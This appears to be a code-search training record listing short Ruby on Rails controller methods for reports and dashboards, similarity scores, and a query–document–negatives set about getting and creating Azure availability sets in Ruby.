"def index\n @summaries = Summary.all\n @accounts = Account.all\n\n dailyTotals = DailyTotal.all\n monthlyTotals = MonthlyTotal.all\n\n # Calculating the monthly total by adding daily total values\n monthlyTotals.each { |mt|\n dailyTotals.each { |dt|\n if dt.date.year == mt.year && dt.date.month == mt.month\n mt.total += dt.total\n end\n } # end of inner dailyTotal loop\n } # end of monthlyTotal loop\n\n # For linechart to display monthly total spendings\n @mTotals = Array.new\n monthlyTotals.each { |mt|\n case mt.month\n when 1\n @mTotals.push([\"January\",mt.total.to_f])\n when 2\n @mTotals.push([\"February\",mt.total.to_f])\n when 3\n @mTotals.push([\"March\",mt.total.to_f])\n when 4\n @mTotals.push([\"April\",mt.total.to_f])\n when 5\n @mTotals.push([\"May\",mt.total.to_f])\n when 6\n @mTotals.push([\"June\",mt.total.to_f])\n when 7\n @mTotals.push([\"July\",mt.total.to_f])\n when 8\n @mTotals.push([\"August\",mt.total.to_f])\n when 9\n @mTotals.push([\"September\",mt.total.to_f])\n when 10\n @mTotals.push([\"October\",mt.total.to_f])\n when 11\n @mTotals.push([\"November\",mt.total.to_f])\n when 12\n @mTotals.push([\"December\",mt.total.to_f])\n end\n }\n\n @balanceSummary = Array.new\n @accounts.each { |account|\n @balanceSummary.push ([account.name,account.balance.to_f])\n }\n end",
"def index\n @payrolls = Payroll.all\n reports_data(@payrolls)\n end",
"def index\n @contamination_reports = ContaminationReport.all\n end",
"def index\n @monthly_reports = MonthlyReport.all\n end",
"def index\n @batch_progress_reports = BatchProgressReport.all\n end",
"def show\n @results = @report.results\n end",
"def show\n @results = @report.results\n end",
"def index\n @type_reports = TypeReport.all\n end",
"def index\n @daily_reports = DailyReport.all\n end",
"def set_annual_summary_report\n @annual_summary_report = AnnualSummaryReport.find(params[:id])\n end",
"def dashboard\r\n end",
"def emp_report\n \n end",
"def index\n @reports = Report.all\n # @reports = Array.new\n end",
"def new\n @report = IncidentReport.new(:staff_id => current_staff.id) # new report\n super\n end",
"def dashboard; end",
"def index\n @et_reports = EtReport.all\n end",
"def show\n report = Report.find(params[:id])\n redirect_to report.url\n end",
"def index\n @user_session = UserSession.new\n # Load recently completed reports\n @recent_reports = Recentreports.new\n @mostviewed_reports = Mostviewedreports.new\n @events = Srdrevents.new\n session[:items_per_page] = session[:items_per_page].nil? ? 10 : session[:items_per_page]\n end",
"def index\n @reports = Report.user_reports(current_user).order('created_at DESC').paginate(page: params[:page], per_page: 10)\n @report = Report.new(report_params)\n end",
"def index\n @failure_reports = FailureReport.all\n end",
"def index\n @report_subscriptions = ReportSubscription.all\n end",
"def index\n @journal_doc_reports = JournalDocReport.all\n end",
"def create\n @summary_report = SummaryReport.new(params[:summary_report])\n\n respond_to do |format|\n if @summary_report.save\n flash[:notice] = 'SummaryReport was successfully created.'\n format.html { redirect_to(@summary_report) }\n format.xml { render :xml => @summary_report, :status => :created, :location => @summary_report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @summary_report.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @deal_reports = DealReport.all\n end",
"def show\n @total_reporters = @reporting_period.full_reports\n .select(:user_id).distinct.count\n @total_project_reports = @reporting_period.total_contracts_reported\n @user_reports = @reporting_period.reports\n .includes(:user)\n .joins(:user).order(\"users.name ASC\")\n @contract_reports = @reporting_period.full_reports\n .includes(:contract)\n .joins(contract: :project)\n .select(:contract_id,\n :contract_name,\n \"sum(cost) AS cost, sum(days) AS days, projects.is_billable\")\n .group(:contract_id, :contract_name, \"projects.is_billable\")\n .order(:contract_name)\n end",
"def create_global_report\n super\n end",
"def set_report\n #@report = Report.find(params[:id])\n end",
"def show\n @report = current_user.reports.find(params[:id])\n end",
"def index\n @report_dates = ReportDate.all\n end",
"def index\r\n @appointment_reports = AppointmentReport.all\r\n end",
"def index\n if current_user.admin? == false\n @blocks = Block.where(:user_id => current_user.id)\n @user_reports = Array.new\n for block in @blocks\n @user_reports << block.block_number\n end\n @reports = Report.where(:block_number => @user_reports).paginate(:page => params[:page], :per_page => 10)\n @reports = @reports.order(sort_column + \" \" + sort_direction)\n else\n @reports = Report.all.paginate(:page => params[:page], :per_page => 10)\n @reports = @reports.order(sort_column + \" \" + sort_direction)\n @reportsAll = Report.all\n end\n\n respond_to do |format|\n format.html\n format.csv { send_data @reportsAll.to_csv }\n format.xls { send_data @reportsAll.to_csv(col_sep: \"\\t\") }\n end\n end",
"def index\n @office_reports = Office::Report.all\n end",
"def index\n statuses_dashboard\n end",
"def show\n @summary = {}\n # cash flow info\n @summary[\"cash_flow_domestic\"] = domestic_cash_flow_info\n # sell info\n @summary[\"domestic\"] = domestic_sold_info\n @summary[\"offshore\"] = offshore_sold_info\n # by date\n @summary[\"auction\"] = auction_info\n @summary[\"custom\"] = custom_info\n @summary[\"shipment\"] = shipment_info\n # undeal\n @summary[\"undeal_product\"] = undeal_product_info\n @summary[\"undeal_auction\"] = undeal_auction_info\n @summary[\"undeal_custom\"] = undeal_custom_info\n @summary[\"shipment_status\"] = shipment_status_info\n render 'dashboard'\n end",
"def reports_path; end",
"def reports_path; end",
"def index\n @safety_reports = SafetyReport.all\n end",
"def dashboard\n\n end",
"def dashboard\n\n end",
"def index\n @bus_reports = BusReport.all\n end",
"def index\n @opinion_reports = OpinionReport.all\n end",
"def report_params\n end",
"def index\n @reportars = Reportar.all\n end",
"def show\n authorize :report, :show?\n if params[:finalizar]\n @resquest_criminal.status = 2\n @resquest_criminal.save\n end\n respond_to do |format|\n format.html\n format.pdf {render template: 'reports/report_pdf', pdf: \"laudo-#{@report.id}-#{@report.updated_at}\"}\n end\n end"
] | [
"0.6820663",
"0.64884424",
"0.6374498",
"0.63075167",
"0.6290353",
"0.6286144",
"0.6264552",
"0.6249338",
"0.6248855",
"0.62458616",
"0.6241818",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.62269765",
"0.6222625",
"0.61951077",
"0.61926824",
"0.618297",
"0.61699134",
"0.6161657",
"0.61384404",
"0.6131773",
"0.60772175",
"0.60772175",
"0.60772175",
"0.60772175",
"0.60772175",
"0.60763526",
"0.6069079",
"0.6060907",
"0.60476786",
"0.60382944",
"0.60373956",
"0.6021131",
"0.6013816",
"0.6013031",
"0.6009031",
"0.60067683",
"0.6006477",
"0.6005476",
"0.5998111",
"0.5996422",
"0.5994035",
"0.5993957",
"0.5991042",
"0.59874946",
"0.5984899",
"0.59758586",
"0.5959299",
"0.59578675",
"0.59573466",
"0.5956792",
"0.59391224",
"0.59391224",
"0.5938769",
"0.5936942",
"0.5934577",
"0.5934493",
"0.5924959",
"0.592402",
"0.5916413",
"0.5906813",
"0.5906486",
"0.58893937",
"0.58761877",
"0.5872106",
"0.5871135",
"0.58656055",
"0.5860504",
"0.5857758",
"0.58559036",
"0.58437085",
"0.5841823",
"0.582782",
"0.58211064",
"0.581918",
"0.5818386",
"0.5812923",
"0.5809261",
"0.58067393",
"0.58049834",
"0.5804961",
"0.5804961",
"0.57993084",
"0.5788691",
"0.5788691",
"0.57885313",
"0.57838005",
"0.5777508",
"0.57754815",
"0.57725674"
] | 0.0 | -1 |
method will get the availability set using the resource group and availability set name will return whether or not the availability set exists. | def get(resource_group, availability_set)
begin
promise =
@client.availability_sets.get(resource_group,
availability_set).value!
promise.body
rescue MsRestAzure::AzureOperationError => e
# if the error is that the availability set doesn't exist,
# just return a nil
if e.response.status == 404
puts 'Availability Set Not Found! Create It!'
return nil
end
OOLog.fatal("Error getting availability set: #{e.body}")
rescue => ex
OOLog.fatal("Error getting availability set: #{ex.message}")
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get\n begin\n @compute_client.availability_sets.get(@rg_name, @as_name)\n rescue MsRestAzure::AzureOperationError => e\n # if the error is that the availability set doesn't exist,\n # just return a nil\n if e.response.status == 404\n puts 'Availability Set Not Found! Create It!'\n return nil\n end\n OOLog.fatal(\"Error getting availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error getting availability set: #{ex.message}\")\n end\n end",
"def add\n # check if it exists\n as_exist = @compute_client.availability_sets.check_availability_set_exists(@rg_name, @as_name)\n if as_exist\n OOLog.info(\"Availability Set #{@as_name} exists in the #{@location} region.\")\n else\n # need to create the availability set\n OOLog.info(\"Creating Availability Set '#{@as_name}' in #{@location} region\")\n\n begin\n #if we are using the managed disk attached to vm availability set needs to setup use_managed_disk to true\n\n\n @compute_client.availability_sets.create(resource_group: @rg_name, name: @as_name, location: @location, use_managed_disk: true, platform_fault_domain_count: Utils.get_fault_domains(@location\n ), platform_update_domain_count: Utils.get_update_domains)\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error adding an availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error adding an availability set: #{ex.message}\")\n end\n end\n end",
"def add(resource_group, availability_set, location)\n # check if it exists\n existance_promise = get(resource_group, availability_set)\n if !existance_promise.nil?\n OOLog.info(\"Availability Set #{existance_promise.name} exists\n in the #{existance_promise.location} region.\")\n else\n # need to create the availability set\n OOLog.info(\"Creating Availability Set\n '#{availability_set}' in #{location} region\")\n avail_set = get_avail_set_props(location)\n begin\n start_time = Time.now.to_i\n response =\n @client.availability_sets.create_or_update(resource_group,\n availability_set,\n avail_set).value!\n response.body\n end_time = Time.now.to_i\n duration = end_time - start_time\n OOLog.info(\"Availability Set created in #{duration} seconds\")\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error adding an availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error adding an availability set: #{ex.message}\")\n end\n end\n end",
"def resource_group?(name)\n resource_groups.map(&:name).include?(name)\n end",
"def get_available_for_group\n send_request(FUNCTION_GET_AVAILABLE_FOR_GROUP, [], '', 1, 'C')\n end",
"def resource_group_exists?(group_name, system_config)\n cmdline = Schott::AzureCLI::Commandlines.resource_group_exists?(group_name)\n cmd = run_command(\"#{group_name} exists\", cmdline, system_config)\n return cmd.output.chomp == \"true\"\n end",
"def resource_available?(name)\n node.run_context.resource_collection.find(name)\n\n true\n rescue Chef::Exceptions::ResourceNotFound\n false\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def autoscaling_group_exists?\n Tapjoy::AutoscalingBootstrap::AWS::Autoscaling::Group.describe.nil? ? false : true\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def availability\n @availability ||= begin\n xml = @client.fetch(:record_availability, :id => self.id)\n doc = Nokogiri::XML(xml)\n\n returning({}) do |hash|\n doc.xpath('//holding').each do |xdata|\n holding = xdata.xpath('name').text\n hash[holding] = xdata.xpath('available').text == 'true'\n end\n end\n end\n end",
"def has_package_set?(name)\n !!find_package_set(name)\n end",
"def control_availability\n dpms_availability\n end",
"def data_set_exists?\n !BasicInterfaceRegister[@data_lib][@data_set_name].nil?\n end",
"def availability\n STATUS_TO_AVAILABILITY[self.status]\n end",
"def get_avail_set_properties(location)\n avail_set_props = Azure::ARM::Compute::Models::AvailabilitySetProperties.new\n # At least two domain faults\n avail_set_props.platform_fault_domain_count = 2\n avail_set_props.platform_update_domain_count = 2\n # At this point we do not have virtual machines to include\n avail_set_props.virtual_machines = []\n avail_set_props.statuses = []\n avail_set = Azure::ARM::Compute::Models::AvailabilitySet.new\n avail_set.location = location\n avail_set.properties = avail_set_props\n avail_set\n end",
"def get_availability(name, sync_back=true)\n\t\tlock_name \t= \"#{name}_inventory\"\n\t\tinv \t\t= nil\n\n\t\tSidekiq.redis do |connection|\n\t\t\tRedis::Semaphore.new(\"#{lock_name}\", redis: connection) do\n\t\t\t\tinv = connection.hget(\"inventory\", name)\n\t\t\tend\n\t\tend\n\t\t# special_sauce can go here if inv.present?\n\t\treturn sync_back(name,inv) if sync_back and inv.present?\n\t\ttrue\n\tend",
"def set_specific_availability\n @specific_availability = SpecificAvailability.find(params[:id])\n end",
"def statefulset_ready(namespace, statefulset)\n if namespace.nil? || namespace.strip.empty?\n fail RuntimeError, \"namespace must be set\"\n end\n if statefulset.nil? || statefulset.strip.empty?\n fail RuntimeError, \"statefulset must be set\"\n end\n args = %W(kubectl get statefulset --namespace=#{namespace} #{statefulset})\n desired, status = capture_with_status(*args, '--output=go-template={{or .spec.replicas 0}}')\n return false unless status.success?\n actual, status = capture_with_status(*args, '--output=go-template={{or .status.readyReplicas 0}}')\n return false unless status.success?\n puts \"Statefulset #{namespace}/#{statefulset}: #{actual}/#{desired} ready\"\n\n return false unless desired.to_i > 0\n actual.to_i == desired.to_i\nend",
"def has_resource(name)\n return @resources.has_key?(name) # Exists key in Hash\n # return @resources.include?(name) # Exists value into Array\n end",
"def group_valid?(name, resource)\n self.class.groups.rindex{|g| g.name == name} != nil\n end",
"def exists?(name)\n begin\n g = list([name.to_s])\n rescue ::AWS::InvalidGroupNotFound\n return false \n end\n \n !g.empty?\n end",
"def available?(task)\n @pool.available?(task[:resources])\n end",
"def get_avail_set_props(location)\n avail_set_props =\n Azure::ARM::Compute::Models::AvailabilitySetProperties.new\n # At least two domain faults\n avail_set_props.platform_fault_domain_count = 2\n avail_set_props.platform_update_domain_count = 2\n # At this point we do not have virtual machines to include\n avail_set_props.virtual_machines = []\n avail_set_props.statuses = []\n avail_set = Azure::ARM::Compute::Models::AvailabilitySet.new\n avail_set.location = location\n avail_set.properties = avail_set_props\n avail_set\n end",
"def availability(*args)\n @client.get \"#{@path}/availability\", Hash[*args]\n end",
"def defined?(group_name)\n true\n end",
"def availability_items\n return @availability_items if @availability_items\n @availability_items = @connection.availability_items(self.id)\n end",
"def availability\n end",
"def availability\n end",
"def available?\n true\n end",
"def has_resource?(name)\n @resources.has_key?(name)\n end",
"def available?\n true\n end",
"def supports_grouping_sets?\n server_version >= 90500\n end",
"def defined?(group_name)\n @groups.key?(group_name)\n end",
"def exists?(group)\n url = build_url(group)\n rest_head(url) and true\n rescue Azure::Armrest::NotFoundException\n false\n end",
"def in_subsets_scope? name\n self.class.subsets_scope(name).include? subset.to_sym\n end",
"def availability(arg = nil)\n set_or_return(\n :availability,\n arg,\n kind_of: String,\n equal_to: %w[always demand],\n )\n end",
"def availability_zones\n @group.availability_zones\n end",
"def available?\n @subnet.state == 'available'\n end",
"def is_in_group_name\n returnGroup = []\n group = query_root_node(\"fao:isInGroup/@rdf:resource\", @@NAMESPACES)\n if !group.nil?\n group.each do |entry|\n returnGroup << entry.to_s.split(\"/\")[7]\n end\n end\n returnGroup\n end",
"def exists?\n # if the entry '/storage-pools/somename' is present within array returned from /storage-pools\n # then the storage pool somename exists\n storage_array = get_api_node(['storage-pools'])\n return storage_array.include? return_api_path(['storage-pools', resource[:name]])\n end",
"def exists?\n start = Time.now\n debug \"Checking if device group \\\"#{resource[:full_path]}\\\" exists\"\n connection = self.class.get_connection(resource[:account])\n if resource[:full_path].eql?('/')\n true\n else\n device_group = get_device_group(connection, resource[:full_path])\n debug device_group unless nil_or_empty?(device_group)\n debug \"Finished in #{(Time.now-start)*1000.0} ms\"\n nil_or_empty?(device_group) ? false : true\n end\n end",
"def in_allocation?(demander)\n @in_allocation.has_key?(demander.get_id)\n end",
"def available_sp_resources?(sp_resources)\n return sp_resources_all.include?(sp_resources)\n end",
"def retrieve_set(id)\n\t\t\traise RuntimeError.new \"Invalid set id\" unless is_valid_set?(id)\n\t\t\treturn @working_set if id =~ /working/i\n\t\t\treturn @sets[id]\n\t\tend",
"def available?(division)\n get_state(division).eql? 'closed'\n end",
"def check_portgroup_existance\n Puppet.debug \"Entering find_port_group\"\n begin\n @networksystem=host.configManager.networkSystem\n @pg = @networksystem.networkInfo.portgroup\n\n @pg.each do |portg|\n availablepgs = portg.spec.name\n if (availablepgs == resource[:portgrp])\n return true\n end\n end\n #return false if portgroup not found\n return false\n rescue Exception => e\n fail \"Unable to check the portgroup's existence because the folowing exception occurred: -\\n #{e.message}\"\n end\n end",
"def available?()\n #This is a stub, used for indexing\n end",
"def set_availability_product\n @availability_product = AvailabilityProduct.friendly.find(params[:id])\n end",
"def get_mentor_availability(mentor_id)\n response = self.class.get(\"https://www.bloc.io/api/v1/mentors/#{mentor_id}/student_availability\", headers: { \"authorization\" => @auth_token }).to_a\n available = []\n response.each do |timeslot|\n if timeslot[\"booked\"] == nil\n available.push(timeslot)\n end\n end\n puts available\n end",
"def check_availability(business = {})\n xml = Builder::XmlMarkup.new\n query = xml.tag!(\"BPMSPost\", 'Edition' => \"1.1\") {\n xml.tag!(\"Record\") {\n xml.tag!(\"Bowser Autio\", business[:name])\n xml.tag!(\"Autio\", business[:department])\n xml.tag!(\"6675 rivertown rd\", business[:address])\n xml.tag!(\"Fairburn\", business[:city])\n xml.tag!(\"GA\", business[:state])\n xml.tag!(\"30213\", business[:zip])\n xml.tag!(\"7708460972\", business[:phone])\n }\n }\n body = build_request(3722, 1510, query)\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n xml_doc['ErrorCode'] == '1' # success (returns true/false)\n end",
"def available?\n @dbi.db_instance_status == 'available'\n end",
"def available?\n @dbi.db_instance_status == 'available'\n end",
"def get_mentor_availability(mentor_id)\n response = self.class.get(base_api_endpoint(\"mentors/#{mentor_id}/student_availability\"), headers: { \"authorization\" => @auth_token })\n @mentor_availability = JSON.parse(response.body)\n end",
"def available?\n Holdings::Status::Available.new(@callnumber).available?\n end",
"def exists?\n volumes = Hash.new\n qmgmt(['volume', 'list']).each_line { |l|\n if ( l.match(/^Name/) )\n next\n end\n line = l.split(/\\s{2,}/)\n volumes[line.shift()] = true\n }\n\n if ( volumes[resource[:name]] )\n return true\n else\n return false\n end\n end",
"def check_if_group_set_exists(group_set_name)\n group_set_arr = Array.new\n\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/group_categories\"\n puts \"@url is #{@url}\"\n \n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get group sets has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n \n if $link_parser.parse(@getResponse).by_rel('next')\n group_set_arr.append(@getResponse.parsed_response)\n\n while $link_parser.parse(@getResponse).by_rel('next')\n @url = $link_parser.parse(@getResponse).by_rel('next').target\n puts \"@url is #{@url}\"\n\n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get group sets has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n \n group_set_arr.append(@getResponse.parsed_response)\n end\n\n group_set_arr.each { |group_set_data|\n group_set_data.each do |group_set_info|\n if group_set_info[\"name\"] == group_set_name\n return true \n end\n end\n }\n\n return false\n else\n group_set_data = @getResponse.parsed_response\n \n group_set_data.each do |group_set_info|\n if group_set_info[\"name\"] == group_set_name\n return true \n end\n end\n \n return false\n end\nend",
"def is_available?\n return @status == :AVAILABLE\n end",
"def is_available?\n return self.available_inventory > 0\n end",
"def check_availability(opts)\n begin\n check_availability!(opts)\n rescue ActiveBookings::AvailabilityError\n false\n end\n end",
"def find_package_set_by_name(name)\n @package_sets[name]\n end",
"def available?\n status == :available\n end",
"def available?\n if tenant == false && @units != @number\n return true\n else \n return false\n end\n end",
"def available\n finished_set = runids_finished.to_set\n available_record = Parallel.map(@sra_available, :in_threads => @nop) do |record|\n # record is an array of [run id, submission id, experiment id, received date, read layout]\n validate_record(record, finished_set)\n end\n available_record.compact.uniq\n end",
"def check_rbs_availability!; end",
"def is_in_group_url\n returnGroup = []\n group = query_root_node(\"fao:isInGroup/@rdf:resource\", @@NAMESPACES)\n if !group.nil?\n group.each do |entry|\n returnGroup << entry.to_s\n end\n end\n returnGroup\n end",
"def set_ingredient_availability\n\t @ingredient_availability = IngredientAvailability.find(params[:id])\n\tend",
"def resource_ready(value)\n case value\n when :absent\n not @state[:keyspaces].include?(resource[:name])\n when :present\n @state[:keyspaces].include?(resource[:name])\n when :ready\n @state[:keyspaces].include?(resource[:name]) and @resource[:tables] and include_all?(@resource[:tables], @state[:tables])\n end\n end",
"def available_in?(region)\n available_regions.include?(region)\n end",
"def get_group_set_id(group_set_name) \n list_group_sets = HTTParty.get(\n \"#{$canvas_url}/api/v1/courses/#{$canvas_course_id}/group_categories\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n group_set_data = list_group_sets.parsed_response\n group_set_id = nil \n\n group_set_data.each do |group_set_info|\n if group_set_info[\"name\"] == group_set_name\n group_set_id = group_set_info[\"id\"] \n end\n end\n\n return group_set_id\nend",
"def isBookAvailable?(book_name)\n book_record = @books.find do |book|\n book.title == book_name\n end\n if book_record == nil then return false end\n if book_record.copies_available != 0 then return true end\n false\n end",
"def check_if_assignment_exists(name)\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/assignments\"\n puts \"@url is #{@url}\"\n\n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get assignments in course has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n\n assignments_data = @getResponse.parsed_response\n\n assignments_data.each do |assignments_info|\n if assignments_info[\"name\"] == name\n return true\n end\n end\n\n return false\nend",
"def is_available\n return @is_available\n end",
"def show\n resource = @workspace.resources.find(params[:id])\n availability = resource.fetch_availability(start_date: get_start_date)\n expose availability, metadata:{ server_message: \"Availability fetched for #{resource.name.capitalize}\"}\n end",
"def has_group?(name)\n run(\"id -g #{name}\").success?\n end",
"def available?(date_range)\n if reservations.length == 0\n return true\n end\n if reservations.any? {|r| r.overlap?(date_range)}\n return false\n else\n return true\n end\n end",
"def available?(date)\n availability.occurs_at?(date)\n end",
"def available?\n Holdings::Status::Available.new(@item).available?\n end",
"def accessible_admin_sets_with_active_workflow\n accessible_admin_sets.select { |admin_set_id| Hyrax::PermissionTemplate.find_by(source_id: admin_set_id)&.active_workflow.present? }\n end",
"def find_set(set_name)\n #for loop loops through each element of $current_sets\n i=0\n for i in 0..($current_sets.length-1)\n #checks if the name of the set at i is the same as the desired set\n if $current_sets[i].setname == set_name\n #returns the set if it is found\n return $current_sets[i]\n end\n end\n #otherwise puts that the set is not found\n puts \"Set not found!\"\n return nil\n\nend",
"def available?\n @available ||= begin\n response = RestClient::Request.execute(\n method: :get,\n url: build_jobs_url,\n timeout: EBU::NETWORK_TIMEOUT,\n open_timeout: EBU::NETWORK_TIMEOUT\n )\n response.code == 200 ? true : false\n rescue Timeout::Error => e\n false\n rescue => e\n false\n end\n end",
"def set_inavailability\n @inavailability = Inavailability.find(params[:id])\n end",
"def [](name)\n sets.fetch(name)\n end",
"def assign_available_stock\n\n stock_detail, category_occupation = BookingDataSystem::Booking.categories_availability(self.rental_location_code,\n self.date_from,\n self.time_from,\n self.date_to,\n self.time_to,\n nil,\n {\n origin: 'booking',\n id: self.id\n })\n\n #p \"stock_detail: #{stock_detail.inspect}\"\n #p \"category_occupation: #{category_occupation.inspect}\"\n\n transaction do\n booking_lines.each do |booking_line|\n booking_line.booking_line_resources.each do |booking_line_resource|\n if booking_line_resource.booking_item_reference.nil?\n p \"assign_available_stock -- #{booking_line_resource.booking_item_reference} -- available: #{category_occupation[booking_line.item_id][:available_stock].inspect} -- available_assignable: #{category_occupation[booking_line.item_id][:available_assignable_stock].inspect}\"\n if booking_item_reference = category_occupation[booking_line.item_id][:available_assignable_stock].first and !booking_item_reference.nil?\n booking_line_resource.assign_resource(booking_item_reference)\n category_occupation[booking_line.item_id][:available_assignable_stock].delete_at(0)\n end\n end\n end\n end\n\n end\n\n end",
"def set_availability_zone\n logger.debug { \"#{self.class}##{__method__}\" }\n return unless self.zone.blank? && self.project.master_slave_mode?\n ec2.availability_zones.each do |z|\n if z.state == :available\n self.zone = z.name\n break\n end\n end\n end",
"def seat_availability(bus,bus_start_date)\n \n Booking.where(start_date: bus_start_date, bus_id: bus.id).count < bus.capacity # seat capacity.\n \n end",
"def machine_avail?\n\t\tmachine = self.machines.find(:first, :conditions =>\n\t\t\t[\"installed = ? and cid = ?\", false, 'none'])\n\t\tif machine\n\t\t\treturn machine\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def available\n @available ||= product.available(inventory, lot_code)\n end",
"def does_set_exist!\n\t\ttrue_set = []\n\t\twhile true_set.length == 0 do\n\t\t\tpossibleCombination = @board.combination(3).to_a\n\t\t\tpossibleCombination.each do |setOf3| \n\t\t\t\tif Board.actual_set?(setOf3)\n\t\t\t\t\ttrue_set = setOf3\n\t\t\t\t\tbreak\n\t\t\t\tend \n\t\t\tend\n\t\t\tif true_set.length == 0\n\t\t\t\tadd_cards\n\t\t\tend\n\t\tend\n\t\treturn true_set\n\tend",
"def resource_groups\n refs = references(:resource_groups)\n\n return [] if refs.blank?\n\n refs = refs.map { |x| File.basename(x) }.uniq\n\n @resource_groups ||= if refs.size > record_limit\n set = Set.new(refs)\n collect_inventory(:resource_groups) { @rgs.list(:all => true) }.select do |resource_group|\n set.include?(File.basename(resource_group.id.downcase))\n end\n else\n collect_inventory_targeted(:resource_groups) do\n filter_my_region_parallel_map(refs) do |ref|\n safe_targeted_request { @rgs.get(ref) }\n end\n end\n end\n rescue ::Azure::Armrest::Exception => err\n _log.error(\"Error Class=#{err.class.name}, Message=#{err.message}\")\n []\n end",
"def can_create_reserve_schedule?\n kit_schedule = KitSchedule.new\n kit_schedule.current_user = User.current_user\n return kit_schedule.can_create_reserve?(self.center_ids)\n end",
"def stage_exists?(_name)\n Bertrand::UNKNOWN\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AvailableResultSet.new(resp)\n return results\n end",
"def available?\n false\n end",
"def available?\n Spotify.album_is_available(pointer)\n end",
"def find_package_set(name)\n each_package_set.find { |set| set.name == name }\n end",
"def is_set?(resource)\n value_is_set?(resource)\n end"
] | [
"0.7890201",
"0.6424305",
"0.63078326",
"0.62401146",
"0.6052578",
"0.594958",
"0.5788202",
"0.5751019",
"0.5751019",
"0.5751019",
"0.5751019",
"0.5686802",
"0.5665306",
"0.563477",
"0.5490222",
"0.547429",
"0.5470106",
"0.54405504",
"0.54319423",
"0.5431734",
"0.5400787",
"0.5379112",
"0.5369793",
"0.5356604",
"0.53501385",
"0.52812964",
"0.52774435",
"0.52598125",
"0.5259397",
"0.52487403",
"0.5215339",
"0.52140427",
"0.5182493",
"0.51820487",
"0.51789373",
"0.5170915",
"0.51692",
"0.51691496",
"0.5119182",
"0.5110568",
"0.5110235",
"0.50990707",
"0.5088257",
"0.507829",
"0.5070064",
"0.5069537",
"0.50635034",
"0.5060342",
"0.50496954",
"0.5037319",
"0.5031526",
"0.50266993",
"0.5007004",
"0.49802458",
"0.49780735",
"0.49780735",
"0.49723",
"0.4968884",
"0.49626952",
"0.4957959",
"0.49559626",
"0.4952452",
"0.495014",
"0.49466795",
"0.49455985",
"0.49252588",
"0.49241343",
"0.4916369",
"0.48998064",
"0.48869857",
"0.48866326",
"0.48846006",
"0.48836437",
"0.48791578",
"0.48640966",
"0.48539203",
"0.48457",
"0.48344943",
"0.48276618",
"0.4824643",
"0.4824014",
"0.48202136",
"0.48200208",
"0.48166358",
"0.4812553",
"0.48104715",
"0.4807058",
"0.48049557",
"0.48049212",
"0.48043758",
"0.4801013",
"0.47984916",
"0.47975805",
"0.47863135",
"0.47829628",
"0.47736502",
"0.4771963",
"0.4761733",
"0.47558358",
"0.4754861"
] | 0.809806 | 0 |
this method will add the availability set if needed. it first checks to make sure the availability set exists, if not, it will create it. | def add(resource_group, availability_set, location)
# check if it exists
existance_promise = get(resource_group, availability_set)
if !existance_promise.nil?
OOLog.info("Availability Set #{existance_promise.name} exists
in the #{existance_promise.location} region.")
else
# need to create the availability set
OOLog.info("Creating Availability Set
'#{availability_set}' in #{location} region")
avail_set = get_avail_set_props(location)
begin
start_time = Time.now.to_i
response =
@client.availability_sets.create_or_update(resource_group,
availability_set,
avail_set).value!
response.body
end_time = Time.now.to_i
duration = end_time - start_time
OOLog.info("Availability Set created in #{duration} seconds")
rescue MsRestAzure::AzureOperationError => e
OOLog.fatal("Error adding an availability set: #{e.body}")
rescue => ex
OOLog.fatal("Error adding an availability set: #{ex.message}")
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add\n # check if it exists\n as_exist = @compute_client.availability_sets.check_availability_set_exists(@rg_name, @as_name)\n if as_exist\n OOLog.info(\"Availability Set #{@as_name} exists in the #{@location} region.\")\n else\n # need to create the availability set\n OOLog.info(\"Creating Availability Set '#{@as_name}' in #{@location} region\")\n\n begin\n #if we are using the managed disk attached to vm availability set needs to setup use_managed_disk to true\n\n\n @compute_client.availability_sets.create(resource_group: @rg_name, name: @as_name, location: @location, use_managed_disk: true, platform_fault_domain_count: Utils.get_fault_domains(@location\n ), platform_update_domain_count: Utils.get_update_domains)\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error adding an availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error adding an availability set: #{ex.message}\")\n end\n end\n end",
"def set_availabilities(availabilities)\n availabilities.each do |availability|\n date = availability['DATE']\n available = availability['MAX_LOS'].to_i > 0 && availability['AVAILABLE_UNITS'].to_i > 0\n entry = find_entry(date)\n\n unless entry\n entry = build_entry(date)\n entries << entry\n end\n\n entry.available = available\n end\n end",
"def setup_availabilities\n Availability::DAYS.each do |day|\n availabilities.create(day_name: day)\n end\n end",
